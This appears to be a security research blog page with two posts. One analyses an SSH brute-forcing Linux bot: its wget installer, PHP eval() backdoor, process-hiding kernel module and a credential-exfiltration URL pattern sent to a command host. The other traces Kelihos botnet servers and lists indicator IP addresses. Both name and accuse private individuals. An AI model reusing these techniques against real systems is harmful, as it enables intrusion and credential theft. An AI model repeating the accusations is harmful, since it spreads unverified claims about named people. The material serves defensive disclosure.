Thursday, December 24, 2015

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com" 
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me.             IN      A

;; ANSWER SECTION:
testzzzzzz.10g.me.      3600    IN      A       93.188.160.78

;; AUTHORITY SECTION:
10g.me.                 3600    IN      NS      ns1.main-hosting.com.
10g.me.                 3600    IN      NS      ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com.   3600    IN      A       31.170.163.241
ns2.main-hosting.com.   3600    IN      A       31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
  "ip": "178.62.163.[228-231]",
  "hostname": "No Hostname",
  "city": "Amsterdam",
  "region": "North Holland",
  "country": "NL",
  "loc": "52.3740,4.8897",
  "org": "AS200130 Digital Ocean, Inc.",
  "postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
  "ip": "101.229.65.128",
  "hostname": "No Hostname",
  "city": "Shanghai",
  "region": "Shanghai Shi",
  "country": "CN",
  "loc": "31.0456,121.3997",
  "org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
  ( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

PoC:


We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!

Monday, December 21, 2015

MMD-0046-2015 - Cyber crime: Kelihos 10 nodes CNC on NJIIX, New Jersey USA, with a known russian crook who rented them

Global variable declaration to read correctly

#include 

int main(void) {
 char * email = "XXXXX\(censored\)\ data";
                }

Background

Note2: Considering: The attack of Kelihos botnet to my country and several countries is still un-stoppable and on-going, Yet I was told to censored Kelihos investgation on 2013 without getting good follow up from law enforcement in this planet, no matter how hard we tried and providing evidences in each badness they made. And this post, also was asked to be on censor AGAIN, and right now we also did not see the stopping result either. Concluded: It is time for the people as victims of this evilness to know the truth. I opened all censorship from its seal[link].

THIS is the one of many badness evidence conducted by Kelihos botherder: Peter Severa with his real ID and address we reported and is known by law enforcement (PS: it is NOT the ID that Brian Krebs announced). Use it by your own will. If the action of this borherder will continue, we will keep on disclosing further and further. God gave us strength to put right thing to the right place - @unixfreaxjp - Sat Feb 6 12:58:38 JST 2016

Note: This is the modified post of the original post, sensitive data were censored for the "security reason". Please read "between the lines". I am sorry and thank you. - God bless them who read the codes - @unixfreaxjp Tue Dec 22 16:56:01 JST 2015

Most of fellow malware and botnet researchers in security communities know the term of "kelihos botnet". Many of us find it interesting to be studied. The botnet exists for a long time until now, and surviving many take down and disruption efforts, yet it is still in operation until now [link].

MalwareMustDie group has a "Kelihos Operation" in a small dedicated unit to research this threat and we tried to be responsible in disclosing the botnet malicious distribution scheme and its payloads in 2013, and we presented the talk about it at the BotConf in 2013 [link]. The team was following the threat ever since by tireless efforts to report and try to support regional jurisdiction to stop the botnet's further malicious activity. And believe me, MalwareMustDie is aiming a way further than just a whack-a-mole actions that some industries and researchers think we were, the disclosure that we had on the case, and this post is a proof of our hard work for it.

Even physical action(s) was conducted by law (with hat tips of the great work of GroupIB friends [link]) for the effort to end this "legacy" for good, the herder who is a notorious cyber criminal [link][link][link] knows how to bent the law, and is back on operation, with some improvement in the botnet itself.

In the Q3 and Q4 in this year there are strong distribution [link] of Kelihos binaries from several "major" Exploit Kits [link], implying the effort of the herder to expand the botnet. And following that time frame several botnet malicious campaigns were also started to be detected under a very short infection uptime and was carefully planned in aiming specific regional target on a specific operating system platform. Afterward, just recently. there are events of "disruption activities" was occurred in the botnet, which has boosted the botnet's access revocation, technical changes, updates on versions and security improvements to be better than before (i.e.in: domains, encryption, payloads, name servers & http services etc) without really reducing its P2P peers activity significantly, hence the botnet is still on operation but not as "greedy" like we've seen it before in 2012 and 2013.

The recent development is urging me on behalf of operation unit in our Kelihos team, to disclose as "responsible" as possible several new updates in information that maybe can be used and linked by law enforcement effort to build a new cyber criminal case for this well known bot herder.

We thanked gentlemen/ladies for the hard work they shared together in effort to stop the threat (this credit list is not only MMD members but contributors are included)

@VriesHd @Malwageddon @Set_Abominae @DhiaLite @malm0u53 @Xylit0l@ConradLongmore @keyleyang001 @s4n7h0 @essachin 
@sempersecurus @JC_SoCal @ChristiaanBeek @unixfreaxjp @lvdeijk @wirehack7 @wopot @kafeine
These are the people who stick together still and contribute very hard effort of the case with the separate specialties. I myself is in charge for the CNC & infrastructure investigation for the threat, and this writing is mostly based on that specific territory, so I tried to write it without revealing much OpSec of my other team mats in various section. So, the post will not reveal all details of operational aspect, since there are many more "bigger deal" that has to be kept close for the further investigation. You can feel free to contact us via twitter DM if somehow I may can assist you more on the issue.

Kelihos FUD (Fully UnDetected) check scheme

Generally speaking: As this botnet concept is peer to peer, it uses encrypted communication one-to-one basis that redundantly connected to the targeted/instructed peers specified from the central command. The central pushes commands to the infected peers by working in rings of encryption layers, which is varied in encryption to each level, and the peers in each group can reply a pong in generic protocol in "a state" that can be notified by the highest central. This is a way of the botnet can be "steered" to aim specific territory like this example [link] and to launch a specific spam and/or traffic redirection campaigns (the example is in the next paragraph), or to avoid several networks, or "activated / deactivated" activities on some region. In this paragraph I am in purpose omitting various function details that the botnet has (dns/http/blacklist/p2p crypt/spam modules/etc etc).

As peering-functionality is important to the kelihos botnet. the herder is using a known FUD checking service to make sure the main botnet nodes is free from detection, with checking security industry's mitigation/protection signatures [link], by rapidly monitoring detection ratio of the: (1) Binary payloads, (2) IP addresses of Kelihos job server's and main communication peers, (3) and CNC hosts, (4) the web html pages contains javascript, installed in peers that is distributed for supporting several malicious operations (i.e.: click fraud, redirectors, malware infection, spam sites, etc). The herder never keeps the detection ratio high and only picking several important nodes in the botnet to have the lowest detection ratio as possible, and also trying very hard to keep the job servers and CNC of Kelihos to have detection score to be close to zero.

Kelihos is a botnet as service which is having its own function to spread its threat activity, mainly by spam email from its original spam module, which are controlled directly by the herder to aim to specific region(s) or by redirection scheme. Several scheme of recent distribution spotted in this functionality is as per following illustrations: [pump-and-dump] [malicious JS redirector] [URL link basis] [script spam] [pay per click] [regional targeted spam] etc (malware related spam can not be disclosed in here).

To be noted: There are top central operation servers which the herder operated separately and unlisted to the checks. Thus,the botnet is never involving CNC layer or upper layer directly to the distributional layer of the payload, but passing the "delivery" to the infected proxy peers (read: DHCP/ADSL infected PC connected to the internet behind the routers) which makes harder to proof its maliciousness, even though these upper layers nodes are having a very important role in steer malicious activity in the infected peers.

The checking scheme of the botnet peers is where actually the vector we used to dig up the connection to the source of the threat, so I will not have to disclose the domains, payloads, encryption, campaigns or other opsec related work details.

The Kelihos CNC in AS19318(US) at YYYYY(censored)

Inside of the category of (3) stated in above section, it was spotted CNC IP listed as per checked in a scheme below:

These are the IP registered to these two dedicated hosts: dsys417.server-1.biz and dsys418.server-1.biz as per checked below, physically located in New Jersey, United States.

{ "ip": "206.72.206.74-78",
  "hostname": "dsys418.server-1.biz",
  "ip": "66.45.241.130-134",
  "hostname": "dsys417.server-1.biz",
  "city": "Secaucus",
  "region": "New Jersey",
  "country": "US",
  "loc": "40.7895,-74.0565",
  "org": "AS19318 NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC",
  "postal": "07094" }
The data above in form of textual per prefix/routes networking used:
66.45.241.130|dsys417.server-1.biz.|19318 | 66.45.224.0/19 | (censored) | US | interserver.net | Interserver Inc
66.45.241.131||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.132||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.133||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.134||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.74|dsys418.server-1.biz|19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.75||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.76||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.77||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.78||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc

The checks are so important for these IPs on its two hosts, that the herder is running it in frequency of average 16 times per hour, in hourly basis, for each host, by using the remote API provided by the FUD check service for the purpose. As evidence I snipped a small portion as below:

To proof the solidity of the data presented, this original picture shows many authentic details:

Since the front end has payment records captured, it's not that difficult to know that the herder want to keep on doing this at least until the early of this December 2015 [link]

I think up to this point we are all agreed about the US basis 10(ten) IP addresses above are specifically checked by the kelihos herder for its FUD purpose, together with executable binaries of the botnet, the script saved in HTML files in the peers and other minor matters.
But then questions raised up: Who owns those IPs? How can Kelihos botnet herder get the US IP addresses from the first place? Is HE the same person as we announced in 2013?
The next section will be the disclosure of all the questions above plus the ownership information.

The herder data dug from these 10 IP

Before I went to BotConf in 2013, we (MalwareMustDie operations in Germany and Netherland) launched effort [link] [link] and we "paralized" their payload scheme↓ too -

..and we stop the payload of Kelihos for some days, and with the help from good fellows from McAfee and LeaseWeb together we took down dedicated servers that was used to run as Kelihos mother ships (You will see some video about that in 2013's link above). It was taking down Kelihos like 5 days without payloads, and successfully PoC some evidence of the botnet with disrupting the herder at the same time.

It won't take long for the herder to quickly revive the botnet. And that was the time when the 10 IP described above was born. During the reviving period the bot herder was renting two dedicated servers from "regname.biz (owner of server-1.biz)" via QQQQQQ(cencored) service, and there is an evidence of payment request from the service to the herder and it looks like this:

If you are making an account of any hoster service, for them to contact you it will be needed the XXXXX(censored) data of yours. Apparently the XXXXX(censored) data used for contact communication in arranging these servers is matched to the XXXXX(censored) data registered as contact information in the FUD check system described above [link] that is connected to his main CNC for binary checking.

Well, okay, what is the proof that the 10 IP addresses are owned by a person who is using XXXXX(censored) data too?
Let's see the explanation below...

Under a good legit cooperation the picture of the herder's rented dedicated server details in the XXXX(cencored) account can be achieved, in this "service"..in the billing history, the invoices shown in the last two transaction of renting servers are the first initiation payment done by the herder, as per seen in the previous data, see the invoice number and the contents which will be matched to what the payment request document also stated.

The two dedicated servers are keeping on renewal until at the time I wrote this post, one would find this evidence in the recent details like below in the system:

And these 10 IP addresses are the IP addresses of what two hosts are serving. Even though hoster's secure system need to hover mouse/pointer to see these details, one can make the screenshot as per below to managed captured data as proof, ..aaaand W000T! W000T! these two hosts are the ones responsible to the 10 IP addresses in United states that was used by kelihos herder, under the same XXXXX(censored) contact account, which is obviously belong to the kelihos botnet herder.

As per every online basis system, the profile setting part is exists, and beyond any doubt one can see the same XXXXX(censored) data is used, while accessing that part :-)

Who's is this herder? Not the same guy?

It is proven by this vector too that the herder is having the same ID that we, MalwareMustDie, presented in BotConf in 2013, unless you can say that this bot herder is sharing the XXXXX(censored) data that is used to arrange dedicated servers of more than 15 IPs of CNC..and to check the FUD of the malware payload+IP ..to a common good public citizen that is "innocently" use the same XXXXX(censored) dara, without being worry this "innocent man" will go to police to report all of the herder's crime.

And we thank you to the Shell Club Smart Russia database to help us in pointing the correct identification and location via (XXXXX/censored) data of the person who is responsible of Kelihos malicious services like: malicious redirect, clickfraud, spams and malware infections behind the botnet. From this point it's the law enforcement matter to conduct the cyber crime investigation further.

The VERY important P2P peers IP, job servers IP and CNC IP of Kelihos

This is actually the most important part. Below is the list of the Kelihos upper infrastructure layer. I will not openly explain which IP is doing what. But for the safeness of our internet we suggest you strongly to neutralize the listed hosts and block them during the process. The 10 IP addresses listed above is included in the list. The list is sorted one since 2013 until today. An IOC to share the list to each entities would be nice follow for this post. And if you need to have the historical basis data please contact us, with sending message in the comment as usual with stated yourself+entity email address. PS: There are many data can be shared to law enforcement only.

109.87.199.28|28.199.87.109.triolan.net.|13188 | 109.87.199.0/24 | BANKINFORM | UA | triolan.net | Content Delivery Network Ltd
118.160.178.92|118-160-178-92.dynamic.hinet.net.|3462 | 118.160.0.0/16 | HINET | TW | hinet.net | Data Communication Business Group
121.52.159.143|free-iub.edu.pk.|45773 | 121.52.159.0/24 | HECPERN-AS | PK | pern.pk | Pern-Pakistan Education & Research Network is an
126.48.37.45|softbank126048037045.bbtec.net.|17676 | 126.48.0.0/16 | GIGAINFRA | JP | softbankbb.co.jp | Japan Nation-Wide Network Of SoftBank BB Corp.
151.0.40.22||45025 | 151.0.40.0/21 | EDN | UA | lir.net.ua | Online Technologies LTD
159.224.159.161|161.159.224.159.triolan.net.|13188 | 159.224.158.0/23 | BANKINFORM | UA | triolan.net | Content Delivery Network Ltd
175.209.240.53||4766 | 175.208.0.0/13 | KIXS-AS | KR | kt.com | Korea Telecom
176.103.48.27||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.103.54.73||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.103.55.73||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.61.167.245|cable-korisnici-Lukavac-245.167.61.176.BHB.BA.|57397 | 176.61.167.0/24 | BHB-CABLE-TV-BIH | AT | jm-data.at | JM-DATA GmbH
176.73.239.93||16010 | 176.73.128.0/17 | CAUCASUSONLINEAS | GE | caucasus.net | Caucasus Online Ltd.
176.73.248.151||16010 | 176.73.128.0/17 | CAUCASUSONLINEAS | GE | caucasus.net | Caucasus Online Ltd.
176.8.113.143|176-8-113-143-broadband.kyivstar.net.|15895 | 176.8.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
176.8.70.239|176-8-70-239-lzv.broadband.kyivstar.net.|15895 | 176.8.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
178.137.29.163|178-137-29-163-broadband.kyivstar.net.|15895 | 178.137.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
178.54.39.16|unallocated.sta.synapse.net.ua.|29107 | 178.54.0.0/17 | SYNAPSE | UA | synapse.net.ua | Open JSC Stock Company Sater
186.115.146.227||3816 | 186.115.144.0/21 | COLOMBIA | CO | - | Rapidotolima
186.34.172.184||6535 | 186.34.0.0/16 | Telmex | CL | telmex.com | Telmex Chile S.A HFC
188.138.227.43|188-138-227-43.starnet.md.|31252 | 188.138.128.0/17 | STARNET | MD | starnet.md | StarNet S.R.L
193.126.181.18||2860 | 193.126.0.0/16 | NOS_COMUNICACOES | PT | nos.pt | Nos Comunicacoes S.A.
193.203.51.47||48031 | 193.203.48.0/22 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
193.28.179.38|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
193.28.179.39|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
193.28.179.40|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
194.146.199.200||21261 | 194.146.196.0/22 | STELS | UA | nadolinskiy.dn.ua | Stels ISP Ltd
195.140.160.46||48964 | 195.140.160.0/22 | ENTERRA | UA | abcname.net | Datasfera LTD
195.18.14.96||196638 | 195.18.12.0/22 | PROMTELECOM | UA | promtele.com | OJSC Promtelecom
196.218.187.142|host-196.218.187.142-static.tedata.net.|8452 | 196.218.0.0/16 | TE | EG | tedata.net | TE Data
201.187.15.184||14117 | 201.187.0.0/20 | Telefonica | CL | telsur.cl | Telefonica del Sur S.A.
201.219.169.169|vm-customer-201-219-169-169.megacable.com.ar.|28015 | 201.219.169.0/24 | MERCO | AR | megacable.com.ar | Merco Comunicaciones
206.72.206.74||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.75||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.76||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.77||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.78||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
211.120.158.247|zaqd3789ef7.zaq.ne.jp.|9617 | 211.120.128.0/19 | ZAQ | JP | jcom.co.jp | J:COM West Co. Ltd.
212.55.75.70|212-55-75-70.dynamic-pool.kanev.mclaut.net.|25133 | 212.55.74.0/23 | MCLAUT | UA | mclaut.in.ua | LLC Mclaut-Invest
213.111.223.250|250.223-pool.nikopol.net.|44924 | 213.111.192.0/18 | MAINSTREAM | UA | nikopol.net | PP MainStream
219.124.22.175|c022175.net219124.cablenet.ne.jp.|9378 | 219.124.16.0/21 | CABLENET | JP | cablenet.ne.jp | Jcom Kawaguchitoda Co. Ltd.
31.131.122.246|cl122-246.dhcp.multinet.ua.|41871 | 31.131.112.0/20 | RTL | UA | multinet.ua | Locom LLC
37.1.200.161||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.1.202.195||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.1.203.237||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.229.178.56|37-229-178-56-broadband.kyivstar.net.|15895 | 37.229.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
46.118.63.149|SOL-FTTB.149.63.118.46.sovam.net.ua.|15895 | 46.118.0.0/15 | KSNET | UA | golden-telecom.com | Golden Telecom
46.160.115.217|46.160.115.217.format-tv.net.|6712 | 46.160.114.0/23 | FORMAT-TV | UA | maxnet.ua | Maxnet Telecom Ltd
46.219.55.66|46.219.55.66.freenet.com.ua.|31148 | 46.219.55.0/24 | FREENET | UA | freenet.com.ua | Freenet Ltd.
46.63.32.75|pool-46-63-32-75.x-city.ua.|51784 | 46.63.32.0/21 | X-CITY | UA | x-city.ua | X-City Ltd.
5.105.56.87|5-105-56-87.mytrinity.com.ua.|43554 | 5.105.0.0/16 | CDS | UA | mytrinity.com.ua | Cifrovye Dispetcherskie Sistemy
5.178.184.197||28751 | 5.178.128.0/18 | CAUCASUS-NET | GE | caucasus.net | Caucasus Online Ltd.
5.248.243.45|5-248-243-45-broadband.kyivstar.net.|15895 | 5.248.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
66.45.241.130|dsys417.server-1.biz.|19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.131||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.132||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.133||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.134||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
77.109.23.44|77-109-23-44.dynamic.peoplenet.ua.|42396 | 77.109.20.0/22 | PPLNETUA | UA | 3gmobile.com.ua | PJSC Telesystems of Ukraine
77.121.44.40|dhcp-pool.net-77.121.44.host-40.sev.sevcable.net.|35680 | 77.121.32.0/19 | LINIATEL | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
77.121.86.143|77-121-86-143.dynamic.kits.zp.ua.|25229 | 77.121.80.0/21 | VOLIA | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
77.122.234.122|dynamic-77-122-234-122.ricona.net.ua.|25229 | 77.122.192.0/18 | VOLIA | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
82.79.127.7|82-79-127-7.alexandria.rdsnet.ro.|8708 | 82.76.0.0/14 | RCS | RO | rdsnet.ro | RCS & RDS Business
89.137.97.166||6830 | 89.137.0.0/16 | LGI | AT | upcnet.ro | UPC Romania CLUJ-NAPOCA
89.185.30.21|CPE257021.tvcom.net.ua.|34092 | 89.185.24.0/21 | TVCOM | UA | tvcom.net.ua | TVCOM Ltd.
89.35.41.171|host-static-89-35-41-171.moldtelecom.md.|8926 | 89.35.40.0/21 | MOLDTELECOM | MD | moldtelecom.md | Societatea pe Actiuni Moldtelecom
89.41.38.24|24.38.41.89.panevo.ro.|35421 | 89.41.36.0/22 | PANELECTRO | RO | panevo.ro | SC Pan Electro SRL
93.177.178.40|host-93-177-178-40.customer.co.ge.|28751 | 93.177.160.0/19 | CAUCASUS-NET | GE | caucasus.net | Caucasus Online Ltd.
94.176.116.122|122.116.176.94.globnet.md.|48331 | 94.176.116.0/24 | GLOBNET | RO | globnet.md | S.C. Globnet S.R.L.
94.240.163.235||41232 | 94.240.160.0/19 | SSN | UA | flagman.zp.ua | TOV Flagman Telecom
